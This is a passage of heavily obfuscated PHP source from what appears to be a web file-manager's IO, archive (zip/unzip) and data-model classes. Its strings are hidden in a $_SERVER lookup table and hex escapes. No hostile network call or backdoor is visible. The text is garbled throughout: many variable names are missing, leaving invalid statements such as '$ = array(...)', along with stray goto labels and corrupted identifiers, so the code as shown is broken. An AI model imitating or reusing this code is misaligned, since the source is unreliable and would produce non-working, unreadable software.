(isset($ܯ[$])) { if ($Γ[$֤[89]] == 1) { continue; } if ($ܯ[$][$֤[90]] == $Γ[$֤[90]]) { continue; } } if ($Γ[$֤[89]] == 1) { $͖[] = $܂ . $֤[18] . $; continue; } $օ = strstr(trim($, $֤[18]), $֤[18]) ? get_path_father($) : $֤[22]; $ڴ[] = array($֤[1143] => $Γ[$֤[88]], $֤[1144] => rtrim($܂, $֤[18]) . $֤[18] . $օ, $֤[1145] => $Γ); } $ = array($֤[202] => $ڴ, $֤[89] => $͖); Hook::trigger($֤[1146], $ӵ, $܂, $); foreach ($͖ as $Γ) { IO::mkdir($Γ); } foreach ($ڴ as $Γ) { IO::copy($Γ[$֤[1143]], $Γ[$֤[1144]], REPEAT_REPLACE); } } private static function _listAll($љ) { $ӌ =& $_SERVER[Ǿ]; $љ = KodIO::clear($љ); $ܜ = IO::listAll($љ); foreach ($ܜ as &$) { $ۦ = substr($[$ӌ[88]], strlen($љ)); $[$ӌ[1147]] = trim($ۦ, $ӌ[18]); } unset($); return array_to_keyvalue($ܜ, $ӌ[1147]); } public static function fileSubstr($͑, $, $ԋ = false) { $ĕ =& $_SERVER[Ǿ]; $ = self::driverMake($͑); $ = $->size($͑); $ҥ = $; $ = $ԋ; if ($ < 0) { $ = $ + $; } if ($ԋ === !1) { $ԋ = $ - $; } if ($ + $ԋ > $) { $ԋ = $ - $; } if (!$ && $->getType() == $ĕ[117] && !$->exist($͑)) { throw new Exception($ĕ[1148] . LNG($ĕ[1149]) . $ĕ[951] . get_path_this($͑) . $ĕ[22]); } if ($ԋ <= 0) { return $ĕ[22]; } if ($ < 0 || $ >= $ || $ԋ > 1024 * 1024 * 10) { throw new Exception("\146\151\154\x65\122\x65\141\144\40\145\x72\x72\157\x72\41\40\163\x74\141\x72\164\x3d{$}\73\x6c\x65\156\x67\x74\x68\75{$ԋ}\x3b\x20\x73\151\172\145\x3d{$}\x3b"); } $ = $->fileSubstr($͑, $, $ԋ); if (!$ && $ԋ && isset($GLOBALS[$ĕ[1150]])) { throw new Exception($GLOBALS[$ĕ[1150]][$ĕ[1151]]); } return $; } private static function driverMake(&$ϡ) { $ل =& $_SERVER[Ǿ]; $Ԣ = KodIO::parse($ϡ); if (!self::$driverListSystem) { $驝 = Model($ل[759])->driverListSystem(); self::$driverListSystem = array_to_keyvalue($驝, $ل[401]); } if ($Ԣ[$ل[43]] == KodIO::KOD_IO && !self::$driverListSystem[$Ԣ[$ل[401]]]) { return !1; } $ϡ = $Ԣ[$ل[1152]]; $ = self::driverGet($Ԣ, $ϡ); return $; } private static function driverGet($, &$Ԅ) { $ =& $_SERVER[Ǿ]; $ԩ = $[$[1153]]; $စ = $[$[401]]; switch ($[$[43]]) { case KodIO::KOD_IO: $ơ = self::$driverListSystem[$စ]; break; case KodIO::KOD_SOURCE: $Ԅ = $စ . $Ԅ; $ơ = array($[1154] => $[1155], $[16] => $); break; case KodIO::KOD_USER_DRIVER: if (!self::$driverListUser) { $ = $GLOBALS[$[1156]]; self::$driverListUser = array_to_keyvalue($, $[401]); } $ơ = self::$driverListUser[$စ]; break; case KodIO::KOD_SHARE_LINK: $ơ = array($[1154] => $[1157], $[16] => $); $Ӧ = Action($[1158])->sharePathInfo($[$[88]]); $Ԅ = $Ӧ[$[403]]; if (!$Ӧ[$[403]]) { $ = Model($[595])->getInfo($Ӧ[$[488]]); $Ԅ = KodIO::clear($[$[1159]] . $[$[1152]]); $[$[486]] = $; $[$[1136]] = $Ԅ; $ơ = array($[1154] => $[1160], $[16] => $); } break; case KodIO::KOD_SHARE_ITEM: $ơ = array($[1154] => $[1161], $[16] => $); $ = Model($[595])->getInfo($[$[401]]); if ($[$[403]] == $[200]) { $Ԅ = KodIO::clear($[$[1159]] . $[$[1152]]); $[$[486]] = $; $[$[1136]] = $Ԅ; $ơ = array($[1154] => $[1162], $[16] => $); } else { if (!$Ԅ) { $Ԅ = $[$[403]]; } } break; default: $Ԅ = $[$[88]]; $ơ = array($[1154] => $[1163]); break; } $ӗ = $[$[88]]; if (!isset(self::$driverCache[$ӗ])) { $ޯ = strtolower($ơ[$[106]]); $ѫÉ = $GLOBALS[$[16]][$[100]][$[818]]; $ = $[84] . (isset($ѫÉ[$ޯ]) ? $ѫÉ[$ޯ] : ucfirst($ޯ)); if (!class_exists($)) { show_json("{$}\x20\156\157\x74\x20\145\x78\151\x73\164\163\x21", !1); } $󺣹 = isset($ơ[$[16]]) ? $ơ[$[16]] : !1; self::$driverCache[$ӗ] = new $($󺣹); } $ = self::$driverCache[$ӗ]; $->pathDriver = $ԩ; $->pathBase = $[22]; if (isset($ơ[$[16]][$[1164]])) { $->pathBase = rtrim($ơ[$[16]][$[1164]], $[18]) . $[18]; $Ԅ = $->pathBase . ltrim($Ԅ, $[18]); } $Ԅ = $->getPath($Ԅ); if (isset($[$[1136]])) { $Ԅ = $[$[1136]]; } $->path = $Ԅ; return $; } public static function errorTips($ = false) { $ =& $_SERVER[Ǿ]; static $Ơ = array(); $ = 1000; if ($ === -1) { return $Ơ ? $Ơ[count($Ơ) - 1] : $[22]; } if ($ === !1) { return implode($[11], $Ơ); } if (count($Ơ) >= $) { $Ơ = array_slice($Ơ, $ * 0.5, $); } $Ơ[] = $; write_log($[169] . ACTION . $[1165] . $, $[1166]); } public static function getLastError($ = '') { $Եʥ = self::errorTips(-1); return $Եʥ ? $Եʥ : $; } } class IOArchive extends IO { function __construct() { parent::__construct(); } private static function local() { static $; if (!$) { $ = IO::init($_SERVER[Ǿ][18]); } return $; } private static function iconvSystem($͗) { return self::local()->iconvSystem($͗); } private static function iconvApp($Ș촣) { return self::local()->iconvApp($Ș촣); } public static function zip($, $ = "\x7a\x69\160", $ݜІ = '', $ҹ = REPEAT_RENAME) { $̟ =& $_SERVER[Ǿ]; $޽֧ = self::init($[0][$̟[88]]); $ = self::info($[0][$̟[88]]); $ؔ = !1; if (!$ݜІ && $޽֧->getType() == $̟[117]) { $❍ = self::zipFileList($); } else { $ؔ = $ݜІ ? $ݜІ : TEMP_FILES . $̟[1167] . time() . rand_string(8) . $̟[18]; mk_dir($ؔ); $❍ = self::zipFileList($, $ؔ); } $ݚ͞ = $[$̟[42]]; if (count($❍) > 1) { $ = IO::info(IO::pathFather($[$̟[88]])); $ݚ͞ = $[$̟[42]]; } $ў = $ؔ; if (!$ў) { $ў = get_path_father($[$̟[88]]); if (!$ݜІ && $޽֧->getType() == $̟[117]) { $ў = get_path_father($޽֧->path); } $̩ = IO::info($ў); if (!$̩[$̟[205]]) { show_json(LNG($̟[1168]), !1); } } $֪ = $ў . $ݚ͞ . $̟[20] . $; $֪ = get_filename_auto($֪, $̟[22], $ҹ); $Ѣ = self::iconvSystem($֪); foreach ($❍ as $طթ => $ǹ) { $❍[$طթ] = self::iconvSystem($ǹ); } KodArchive::create($Ѣ, $❍); if (!IO::exist($֪)) { if ($ؔ) { del_dir($ؔ); } show_json(LNG($̟[1169]), !1); } if ($ݜІ || !$ؔ) { if ($ؔ && strstr($ؔ, TEMP_FILES)) { $ = $❍ = array(); recursion_dir($ў, $, $❍, 0); foreach ($ as $) { del_dir($); } foreach ($❍ as $ŵ) { if ($ŵ == $Ѣ) { continue; } del_file($ŵ); } } return $֪; } $ڻ = self::pathFather($[$̟[88]]); $ = self::move($֪, $ڻ, $ҹ); if (!$) { del_dir($ؔ); show_json(LNG($̟[1169]), !1); } del_dir($ؔ); return $; } public static function unzip($, $ = "\162\x65\x70\x6c\x61\143\145") { $˗ =& $_SERVER[Ǿ]; $ = $[$˗[88]]; $Ͼ = $[$˗[1170]]; if (!($ = parent::info($))) { show_json(LNG($˗[1171]), !1); } if (!($Տ = parent::infoFull($Ͼ))) { $Ͼ = parent::mkdir($Ͼ); $Տ = array($˗[88] => $Ͼ); } else { if (isset($Տ[$˗[403]]) && trim($Տ[$˗[88]], $˗[18]) != trim($Ͼ, $˗[18])) { $ = KodIO::make($Տ[$˗[498]]); $ = parent::fileNameAuto($, $Տ[$˗[42]], REPEAT_RENAME_FOLDER, !0); $Ͼ = parent::mkdir($ . $); $Տ = array($˗[88] => $Ͼ); } } $Ͼ = $Տ[$˗[88]]; $Ǯǀ = self::tmpFileName($); $Ä = TEMP_FILES . $Ǯǀ; del_dir($Ä); mk_dir($Ä); $î = self::fileExt($); $٤х = $Ä . $˗[20] . $î; if (!@file_exists(self::iconvSystem($٤х))) { $ʫ = self::localFilePath($, $î); $٤х = $ʫ ? $ʫ : parent::download($, $٤х); } $٤х = self::iconvSystem($٤х); $ = isset($[$˗[1172]]) ? $[$˗[1172]] : $˗[1173]; $ = KodArchive::extract($٤х, $Ä . $˗[18], $); self::archiveExt(); if (!$[$˗[1174]]) { show_json($˗[1175] . $[$˗[1176]], !1); } Hook::trigger($˗[1177], $Ä); recursion_dir($Ä, $Ȳ, $ێ, 0); $߿ = array_merge($Ȳ, $ێ); foreach ($߿ as $) { $ = self::iconvApp($); self::move($, $Ͼ, $); } del_dir($Ä); if (!$ʫ) { del_file($٤х); } return !0; } public static function unzipList($) { $䫨 =& $_SERVER[Ǿ]; $ = $[$䫨[88]]; $喙 = isset($[$䫨[1178]]) ? $[$䫨[1178]] : -1; $ = 50000; if (request_url_safe($)) { $ = parse_url_query($); if (!isset($[$䫨[88]])) { show_json($䫨[1179], !1); } } $Ϙ = isset($) ? $[$䫨[88]] : $; $޸Ѻ = self::info($Ϙ); $验 = self::fileExt($޸Ѻ); $맬 = self::tmpFileName($޸Ѻ); if (isset($)) { $ = array($[$䫨[88]], $[$䫨[1178]], $[$䫨[42]]); $Ī = md5(implode($䫨[21], $)) . $䫨[20] . get_path_ext($[$䫨[42]]); } else { $ = array($޸Ѻ[$䫨[42]], $޸Ѻ[$䫨[88]], $޸Ѻ[$䫨[90]]); $Ī = md5(implode($䫨[21], $)) . $䫨[20] . $验; } if ($喙 == -1) { $ў = IO_PATH_SYSTEM_TEMP . "\x7a\x69\160\x56\x69\x65\x77\x2f{$맬}\57{$Ī}\56\154\x6f\x67"; $Ҽ = self::infoFull($ў); if ($Ҽ) { $ў = $Ҽ[$䫨[88]]; $ъ = self::getContent($ў); if ($ъ) { $ = json_decode($ъ, !0); $ = is_array($) ? $ : array(); if (count($) >= $) { show_json(sprintf(LNG($䫨[1180]), count($)), !1); } return $; } } else { $ў = self::mkfile($ў); } } $패 = TEMP_FILES . $맬; if (!is_dir($패)) { mk_dir($패); } $ = $패 . $䫨[18] . $Ī; if (!@file_exists(self::iconvSystem($))) { if (isset($)) { url_request($, $䫨[1181], $); } else { $Ҙ = self::localFilePath($, $验); $ = $Ҙ ? $Ҙ : self::download($, $); } } $ = self::iconvSystem($); if ($喙 >= 0) { $ = isset($[$䫨[1182]]) ? $[$䫨[1182]] : !1; $ƶͲ = isset($[$䫨[42]]) ? $[$䫨[42]] : $䫨[22]; KodArchive::filePreview($, $喙, $, $ƶͲ); self::archiveExt(); die; } $Ý = KodArchive::listContent($); self::archiveExt(); del_dir($패); if (!$Ý[$䫨[1174]]) { show_json($Ý[$䫨[1176]], !1); } $ = json_encode($Ý[$䫨[1176]]); self::setContent($ў, $); if (count($Ý[$䫨[1176]]) >= $) { show_json(sprintf(LNG($䫨[1180]), count($Ý[$䫨[1176]])), !1); } return $Ý[$䫨[1176]]; } private static function fileExt($寂) { $ =& $_SERVER[Ǿ]; $Ո = $寂[$[177]]; if ($Ո == $[1183]) { $ = $[1184]; if (substr($寂[$[42]], -strlen($)) == $) { $Ո = $[1185]; } } self::archiveExt($Ո); return $Ո; } private static function zipFileList($͹, $ = false) { $ =& $_SERVER[Ǿ]; $ = array(); foreach ($͹ as $) { $􃝱 = $[$[88]]; if ($) { $􃝱 = self::copy($[$[88]], $, $[810]); } else { $պ = self::init($[$[88]]); if ($պ->getType() == $[117]) { $􃝱 = $պ->path; } } if ($􃝱 && self::local()->exist($􃝱)) { $[$[$[88]]] = $􃝱; } } if (!empty($)) { return array_values($); } show_json(LNG($[1149]), !1); } public static function tmpFileName($ڝ) { $ʺ =& $_SERVER[Ǿ]; $𒥕З = array($ڝ[$ʺ[42]], $ڝ[$ʺ[88]], $ڝ[$ʺ[90]], $ڝ[$ʺ[521]]); return md5(implode($ʺ[21], $𒥕З)); } private static function localFilePath($җ, $΂ʠ) { $ =& $_SERVER[Ǿ]; if ($΂ʠ == $[1186] && strtoupper(substr(PHP_OS, 0, 3)) == $[1187]) { return !1; } $ = KodIO::parse($җ); if ($[$[43]] == KodIO::KOD_SOURCE) { $ = Model($[817])->fileInfoGet(KodIO::sourceID($җ)); if (!$[$[88]]) { show_json($[1188], !1); } $җ = $[$[88]]; } $ӻ = self::init($җ); if ($ӻ->pathParse[$[1136]]) { $җ = $ӻ->pathParse[$[1136]]; $ӻ = self::init($җ); } $ = $ӻ->getType(); if ($ == $[117] || $ == $[1189]) { if (!$ӻ->exist($ӻ->path)) { show_json(LNG($[116]), !1); } return $ӻ->path; } return !1; } private static function archiveExt($ = '') { $GLOBALS[$_SERVER[Ǿ][1190]] = $; } } goto Bޫܥ; c쏸: class ModelBaseLight { public $optionType = ''; public $modelType = "\123\x79\x73\x74\x65\x6d\x4f\x70\x74\151\x6f\x6e"; public $field = array(); public function listData($Ұ = false, $Д = "\155\157\144\x69\146\x79\x54\151\155\145", $芮 = false) { $ڬ = Model($this->modelType)->get(!1, $this->optionType, !0); $Ɨ = array_values($ڬ); if ($Ɨ && $Ɨ[0] && !is_array($Ɨ[0])) { Model($this->modelType)->cacheRemove($this->optionType); $ڬ = Model($this->modelType)->get(!1, $this->optionType, !0); } if (!$ڬ) { return $Ұ ? null : array(); } if (!$Ұ) { $ڬ = array_filter(array_values($ڬ)); return array_sort_by($ڬ, $Д, $芮); } return $ڬ[$_SERVER[Ǿ][398] . $Ұ]; } public function insert($滠) { $ =& $_SERVER[Ǿ]; $滠 = array_field_key($滠, $this->field); $ = Model($this->modelType)->get($[399], $this->optionType . $[400]); $ = $ ? $ : 0; $滠[$[401]] = ++$; $滠[$[203]] = time(); $滠[$[96]] = time(); Model($this->modelType)->set($[399], $, $this->optionType . $[400]); Model($this->modelType)->set($[398] . $, $滠, $this->optionType); return $; } public function update($ݱ, $) { $ =& $_SERVER[Ǿ]; $ = array_field_key($, $this->field); $שܠ = $this->listData($ݱ); if (!$שܠ || !$ݱ) { return !1; } $ = array_merge($שܠ, $); $[$[96]] = time(); return Model($this->modelType)->set($[398] . $ݱ, $, $this->optionType); } public function remove($) { if (!$) { return !1; } return Model($this->modelType)->remove($_SERVER[Ǿ][398] . $, $this->optionType); } public function clear() { $̛ =& $_SERVER[Ǿ]; Model($this->modelType)->remove($̛[399], $this->optionType . $̛[400]); return Model($this->modelType)->remove(null, $this->optionType); } public function cacheClear() { return Model($this->modelType)->cacheRemove($this->optionType); } public function findByKey($Œ, $ڕ) { if (!$ڕ) { return !1; } $ε = $this->listData(); $ε = array_to_keyvalue($ε, $Œ); return isset($ε[$ڕ]) ? $ε[$ڕ] : !1; } public function findByName($) { return $this->findByKey($_SERVER[Ǿ][42], $); } protected function resetData($˷) { $ =& $_SERVER[Ǿ]; $˷ = is_array($˷) ? $˷ : array(); $ú = array(); for ($ۙ = 0; $ۙ < count($˷); $ۙ++) { $ú[$[398] . $˷[$ۙ][$[401]]] = $˷[$ۙ]; } return Model($this->modelType)->set($ú, !1, $this->optionType); } private function getAutoName($) { $ߴ = array_to_keyvalue($this->listData(), $_SERVER[Ǿ][42]); if (!$ߴ || !isset($ߴ[$])) { return $; } for ($ = 1; $ < count($ߴ); $++) { $є = $ . "\x28{$}\x29"; if (!isset($ߴ[$є])) { return $є; } } return $є; } } class ModelBaseOption extends ModelBase { protected $tableName = ''; protected $jsonField = array(); public function get($И = false, $ = '', $ = false) { $ =& $_SERVER[Ǿ]; $ = $this->cacheGet($); $ = $this->optionDefault($); $ = is_array($) ? $ : array(); if (is_array($)) { $ = array_merge($, $); return $И ? isset($[$И]) ? $[$И] : null : $; } $ = $this->filterWhere(array($[43] => $)); $ = $this->where($)->select(); $ = array_to_keyvalue($, $[105], $[378]); foreach ($ as $ => $) { if ($ || in_array($, $this->jsonField)) { $[$] = json_decode($, !0); } } $this->cacheSet($, $); $ = array_merge($, $); return $И ? $[$И] : $; } public function set($, $ = false, $ˊږ = '') { $؀ =& $_SERVER[Ǿ]; $this->cacheRemove($ˊږ); $ = array(); $ = is_array($) ? $ : array($ => $); foreach ($ as $ => $ȱɮ) { if (is_array($ȱɮ)) { $ȱɮ = json_encode_force($ȱɮ); } $this->checkLength($ȱɮ, !1, $this->tableName . $؀[4] . $); $ȱɮ = self::textEncode($ȱɮ); $ = array($؀[43] => $ˊږ, $؀[105] => $, $؀[378] => $ȱɮ); $[] = $this->filterWhere($); } if (!$) { return !0; } return $this->addAll($, array(), !0); } protected function optionDefault($ͺߍ = '') { return !1; } public function setDeep($ڀ, $ = false, $Բ = '') { $ = explode($_SERVER[Ǿ][20], $ڀ); $񈩝 = $this->get(); array_set_value($񈩝, $ڀ, $); $this->set($[0], $񈩝[$[0]], $Բ); } public function remove($˙ͧ, $ = '') { $㜬 =& $_SERVER[Ǿ]; $this->cacheRemove($); $ = $this->filterWhere(array($㜬[105] => $˙ͧ, $㜬[43] => $)); if (is_null($˙ͧ)) { unset($[$㜬[105]]); } return $this->where($)->delete(); } public function cacheSet($, $ = false) { return Cache::set($this->cacheKey($), $); } public function cacheGet($ʌ) { return Cache::get($this->cacheKey($ʌ)); } public function cacheRemove($) { return Cache::remove($this->cacheKey($)); } protected function filterWhere($) { return $; } protected function cacheKey($) { return $; } } class SourceListModel extends ModelBase { protected $tableName = "\x69\x6f\x5f\x73\x6f\165\x72\143\145"; protected $tableMeta = array("\164\141\x62\x6c\145\116\141\155\x65" => "\x69\157\x5f\163\157\x75\162\x63\145\137\x6d\x65\164\141", "\x6d\145\164\141\x46\x69\x65\154\x64" => "\163\157\x75\x72\x63\145\111\104"); protected $dataAuto = array(array("\155\157\x64\151\x66\x79\x54\151\155\145", "\164\x69\155\145", "\x69\x6e\x73\x65\x72\x74", "\x66\x75\156\x63\164\151\157\156"), array("\143\x72\x65\141\x74\145\124\x69\155\145", "\164\x69\155\145", "\151\156\x73\145\162\x74", "\x66\x75\156\x63\x74\151\157\x6e"), array("\x76\151\x65\167\x54\x69\x6d\x65", "\164\151\x6d\145", "\151\x6e\163\145\162\x74", "\x66\x75\156\x63\x74\x69\157\156")); protected static $cacheSourceInfo = array(); protected static $cachePathInfo = array(); protected static $cacheFileInfo = array(); protected static $cacheChildList = array(); const TYPE_SYSTEM = 0; const TYPE_USER = 1; const TYPE_GROUP = 2; public function listData($) { return $this->listSource(array($_SERVER[Ǿ][402] => $)); } public function typeName($ۀ) { static $ = array(self::TYPE_SYSTEM => "\163\x79\x73\x74\x65\x6d", self::TYPE_USER => "\x75\163\x65\162", self::TYPE_GROUP => "\147\162\x6f\165\x70"); return $[$ۀ . $_SERVER[Ǿ][22]]; } public function sourceListInfo($, $ = false) { $ =& $_SERVER[Ǿ]; $ = $ ? $ : array(); $ = array_filter(array_unique($)); if (!$) { return array(); } $Ȍ = $this->where(array($[403] => array($[17], $)))->select(); $this->_listDataApply($Ȍ, $); return array_to_keyvalue($Ȍ, $[403]); } public function pathInfoFilter(&$׾) { $۴򃣺 =& $_SERVER[Ǿ]; static $ = false; static $ = false; static $ĥ = false; if (!$) { $̞ = $۴򃣺[404]; $̞ .= $۴򃣺[405]; $̞ .= $۴򃣺[406]; $ն = $۴򃣺[407]; $䅃 = explode($۴򃣺[60], $ն); $ = explode($۴򃣺[60], $̞); $ = array(); foreach ($ as $Έ) { if (in_array($Έ, $䅃)) { continue; } $[] = $Έ; } $ĥ = explode($۴򃣺[60], $۴򃣺[408]); } foreach ($ĥ as $Ѯ) { if (isset($׾[$Ѯ])) { $׾[$Ѯ] = intval($׾[$Ѯ]); } } $׾[$۴򃣺[88]] = $۴򃣺[409] . $׾[$۴򃣺[403]] . $۴򃣺[410]; $׾[$۴򃣺[43]] = $׾[$۴򃣺[411]] == 1 ? $۴򃣺[89] : $۴򃣺[202]; $׾[$۴򃣺[412]] = $this->typeName($׾[$۴򃣺[412]]); if ($׾[$۴򃣺[411]] != 1) { $׾[$۴򃣺[177]] = $׾[$۴򃣺[413]]; unset($׾[$۴򃣺[413]]); } $ = $; if (isset($׾[$۴򃣺[414]]) && $׾[$۴򃣺[414]][$۴򃣺[415]] == -1) { $ = $; } $׾ = array_field_key($׾, $); return $׾; } public function listUserFav() { $݅ =& $_SERVER[Ǿ]; $֬ޣ = Model($݅[416])->listData(); $ϵ = array_filter_by_field($֬ޣ, $݅[43], $݅[417]); $ϵ = array_to_keyvalue($ϵ, $݅[22], $݅[88]); if ($ϵ) { $ĉ = $this->listSource(array($݅[418] => array($݅[419], $ϵ))); } $ĉ = array_to_keyvalue($ĉ[$݅[373]], $݅[403]); foreach ($֬ޣ as &$Ѝ) { $Ѝ = array($݅[420] => $Ѝ[$݅[401]], $݅[421] => $Ѝ[$݅[42]], $݅[422] => $Ѝ[$݅[88]], $݅[423] => $Ѝ[$݅[43]], $݅[424] => $Ѝ[$݅[203]], $݅[425] => $Ѝ[$݅[96]]); if ($Ѝ[$݅[43]] == $݅[417] && $ĉ[$Ѝ[$݅[88]]]) { $Ѝ[$݅[97]] = $ĉ[$Ѝ[$݅[88]]]; } } unset($Ѝ); return $֬ޣ; } public function listUserTag($߸) { $Ʃ =& $_SERVER[Ǿ]; if ($߸ && !is_array($߸)) { $߸ = array($߸); } $ٌ = Model($Ʃ[426])->listData(); $֔ = array(); foreach ($ٌ as $) { $ = $[$Ʃ[88]]; if (!$) { continue; } if (!isset($֔[$])) { $֔[$] = array(); } $֔[$][] = $[$Ʃ[427]]; } $ً = array(); foreach ($֔ as $İ => $) { $ = !0; if (!$߸) { $ً[] = $İ; continue; } foreach ($߸ as $’) { if (!in_array($’, $)) { $ = !1; break; } } if ($) { $ً[] = $İ; } } if (!$ً) { return array(); } $ά = $this->listSource(array($Ʃ[418] => array($Ʃ[419], $ً))); if (!$ά || count($ً) == $ά[$Ʃ[370]][$Ʃ[371]]) { return $ά; } $ہ = array(); $؏ = array_to_keyvalue($ά[$Ʃ[87]], $Ʃ[22], $Ʃ[403]); $ϳߧ = array_to_keyvalue($ά[$Ʃ[86]], $Ʃ[22], $Ʃ[403]); $ = array_merge($ϳߧ, $؏); foreach ($ً as $) { if (!in_array($, $)) { $ہ[] = $; } } if ($ہ) { Model($Ʃ[428])->removeBySource($ہ); } return $ά; } public function listUserRecycle() { $á =& $_SERVER[Ǿ]; $ = Model($á[429])->listData(); if (!$) { return array(); } $ = array($á[418] => array($á[419], $), $á[430] => 1); return $this->listSource($); } public function listSource($, $ = 3000) { $ =& $_SERVER[Ǿ]; if (!isset($[$[431]])) { $[$[431]] = 0; } $榈 = $[432]; $ݹ = $this->field($榈)->_makeOrder()->where($)->selectPage($); $this->_listPageCheck($ݹ, $榈, $); $this->_listDataApply($ݹ[$[373]]); $this->_listMake($ݹ); return $ݹ; } private function _listPageCheck(&$Ӏ, $, $锵) { $ =& $_SERVER[Ǿ]; if (!is_array($Ӏ[$[370]])) { return; } $̇ = $Ӏ[$[370]]; if ($̇[$[372]] <= 1) { return; } if ($̇[$[371]] >= 100000) { return; } if (Model($[433])->get($[434]) != $[435]) { return; } $ = str_replace(array($[63], $[346], $[11]), $[22], $); $ = $[436] . str_replace($[60], $[437], $) . $[438]; $ = $[439]; $ = $ . $[440]; $艮 = $̇[$[367]] * ($̇[$[357]] - 1) . $[60] . $̇[$[367]]; $韏 = $this->_makeOrder(!0); $к = $[436] . str_replace($[60], $[437], $韏[0]); if (strpos($к, $[441])) { $к = str_replace($[441], $[442], $к); } else { $к .= $[443] . $韏[1]; } $Ĕ = array(); foreach ($锵 as $ => $) { $Ĕ[$[436] . $] = $; } $this->alias($[444])->field($)->limit($艮)->order($к); $Ɩ = $this->join($)->where($Ĕ)->select(); if ($Ɩ) { $Ӏ[$[373]] = $Ɩ; } } protected function _makeOrder($굣 = false) { $ =& $_SERVER[Ǿ]; $ŴǸ = Model($[445])->get($[446]); $ = Model($[445])->get($[447]); $嶅 = array($[448] => $[449], $[450] => $[451]); $Ŋȟ = array($[42] => $[42], $[90] => $[90], $[177] => $[413], $[452] => $[452], $[453] => $[454], $[203] => $[203], $[96] => $[96]); $㷞 = Input::get($[455], $[17], $ŴǸ, array_keys($Ŋȟ)); $ݨ = Input::get($[456], $[17], $, array_keys($嶅)); if (!in_array($㷞, array_keys($Ŋȟ))) { $㷞 = $[42]; } if (!in_array($ݨ, array_keys($嶅))) { $㷞 = $[448]; } if ($㷞 == $[42]) { } $ = $[457] . $Ŋȟ[$㷞] . $[63] . $嶅[$ݨ]; $ = rtrim(trim($), $[60]); if ($굣) { return array($, $嶅[$ݨ]); } return $this->order($); } protected function _listDataApplyItem($ȓ, $ý = false) { $袭 = array($ȓ); $this->_listDataApply($袭, $ý); return $袭[0]; } protected function _listDataApply(&$±ޞ, $෷ = false) { $ =& $_SERVER[Ǿ]; if (!$±ޞ) { $±ޞ = array(); return; } $ = array_to_keyvalue($±ޞ, $[22], $[403]); $ = array_unique($); $this->_listSourceCache($±ޞ); if (!$෷) { $this->_listAppendMeta($±ޞ, $); $this->_listAppendFileMeta($±ޞ, $); $this->_listAppendChildren($±ޞ, $); } $this->_listAppendPath($±ޞ); $this->_listAppendAuth($±ޞ); $this->_listAppendSourceInfo($±ޞ, $); $this->_listAppendUser($±ޞ); $this->_listFilterInfo($±ޞ, $෷); $this->_listAppendAuthSecret($±ޞ); } protected function _listSourceCache($) { $ǣ =& $_SERVER[Ǿ]; foreach ($ as $Ⱦ) { self::$cacheSourceInfo[$ǣ[458] . $Ⱦ[$ǣ[403]]] = $Ⱦ; } } protected function _listFilterInfo(&$, $ = false) { $󝅢 =& $_SERVER[Ǿ]; foreach ($ as &$) { $ = $this->pathInfoFilter($); self::$cachePathInfo[$󝅢[459] . intval($) . $󝅢[460] . $[$󝅢[403]]] = $; } unset($); } protected function _listMake(&$ϊ) { $ =& $_SERVER[Ǿ]; $ϊ[$[87]] = array(); $ϊ[$[86]] = array(); foreach ($ϊ[$[373]] as $ϴ) { $Ѹ = $ϴ[$[411]] == 1 ? $[87] : $[86]; $ϊ[$Ѹ][] = $ϴ; } unset($ϊ[$[373]]); } protected function _listAppendMeta(&$, $) { $ =& $_SERVER[Ǿ]; $˚ = array($[418] => array($[419], $)); $ͨ = Model($[461])->field($[462])->where($˚)->select(); if (!$ͨ) { return; } $ɲ = array($[463], $[464], $[442]); $ = array(); foreach ($ͨ as $ښ) { if (!isset($[$ښ[$[403]]])) { $[$ښ[$[403]]] = array(); } if (in_array($ښ[$[105]], $ɲ)) { continue; } $[$ښ[$[403]]][$ښ[$[105]]] = $ښ[$[378]]; } foreach ($ as &$ֽ) { $ֽ[$[465]] = !1; if (isset($[$ֽ[$[403]]])) { $ֽ[$[465]] = $[$ֽ[$[403]]]; } if ($this->fileIsLock($ֽ) && $ֽ[$[414]]) { $Ȇ = AuthModel::AUTH_EDIT | AuthModel::AUTH_REMOVE; $ֽ[$[414]][$[415]] = AuthModel::authDisable($ֽ[$[414]][$[415]], $Ȇ); $ֽ[$[414]][$[466]][$[414]] = $ֽ[$[414]][$[415]]; } } unset($ֽ); } protected function _listAppendFileMeta(&$ۓ, $) { $ =& $_SERVER[Ǿ]; $ᦻ = array_to_keyvalue($ۓ, $[22], $[467]); $ᦻ = array_filter(array_unique($ᦻ)); if (!$ᦻ) { return; } $ = array($[468] => array($[419], $ᦻ)); $ҽ = $[469]; $ = Model($[470])->field($ҽ)->where($)->select(); $ = array_to_keyvalue($, $[467]); $׃ = Model($[471])->field($[472])->where($)->select(); $׃ = $׃ ? $׃ : array(); $ = array(); foreach ($׃ as $) { if (!isset($[$[$[467]]])) { $[$[$[467]]] = array(); } $[$[$[467]]][$[$[105]]] = $[$[378]]; } foreach ($ۓ as &$) { $ = $[$[467]]; if (!$ || !is_array($[$])) { continue; } $ = $[$]; $[$[90]] = $[$[90]]; $[$[42]] = $[$[42]]; if (!isset(self::$cacheFileInfo[$[473] . $])) { self::$cacheFileInfo[$[473] . $] = array_merge(array(), $); } unset($[$][$[88]]); $̤ = is_array($[$]) ? $[$] : array(); $[$[173]] = array_merge($̤, $[$]); if (isset($[$[173]][$[172]])) { $[$[172]] = json_decode($[$[173]][$[172]], !0); unset($[$[173]][$[172]]); } } unset($); } protected function _listAppendSourceInfo(&$¬֯, $䋍) { $ҭ =& $_SERVER[Ǿ]; if (!defined($ҭ[474])) { return; } $ί = Model($ҭ[475])->listData(); $ = Model($ҭ[426])->listData(); $ = Model($ҭ[416])->listData(); $ų = Model($ҭ[476])->listSimple(); $އ = array_to_keyvalue($ί, $ҭ[401]); $ʞ = array_to_keyvalue_group($Â, $ҭ[88], $ҭ[427]); $Ž = array_to_keyvalue($, $ҭ[88]); $ꌊ = array_to_keyvalue_group($ų, $ҭ[403]); foreach ($¬֯ as &$јӥ) { $јӥ[$ҭ[97]] = array($ҭ[477] => 0, $ҭ[478] => 0, $ҭ[479] => 0); if (isset($Ž[$јӥ[$ҭ[403]]])) { $јӥ[$ҭ[97]][$ҭ[480]] = 1; $јӥ[$ҭ[97]][$ҭ[481]] = $Ž[$јӥ[$ҭ[403]]][$ҭ[42]]; } if (isset($ʞ[$јӥ[$ҭ[403]]])) { $јӥ[$ҭ[97]][$ҭ[482]] = array(); foreach ($ʞ[$јӥ[$ҭ[403]]] as $) { $ྙ = $އ[$]; $јӥ[$ҭ[97]][$ҭ[482]][] = array($ҭ[483] => $ྙ[$ҭ[401]], $ҭ[421] => $ྙ[$ҭ[42]], $ҭ[484] => $ྙ[$ҭ[485]]); } } if 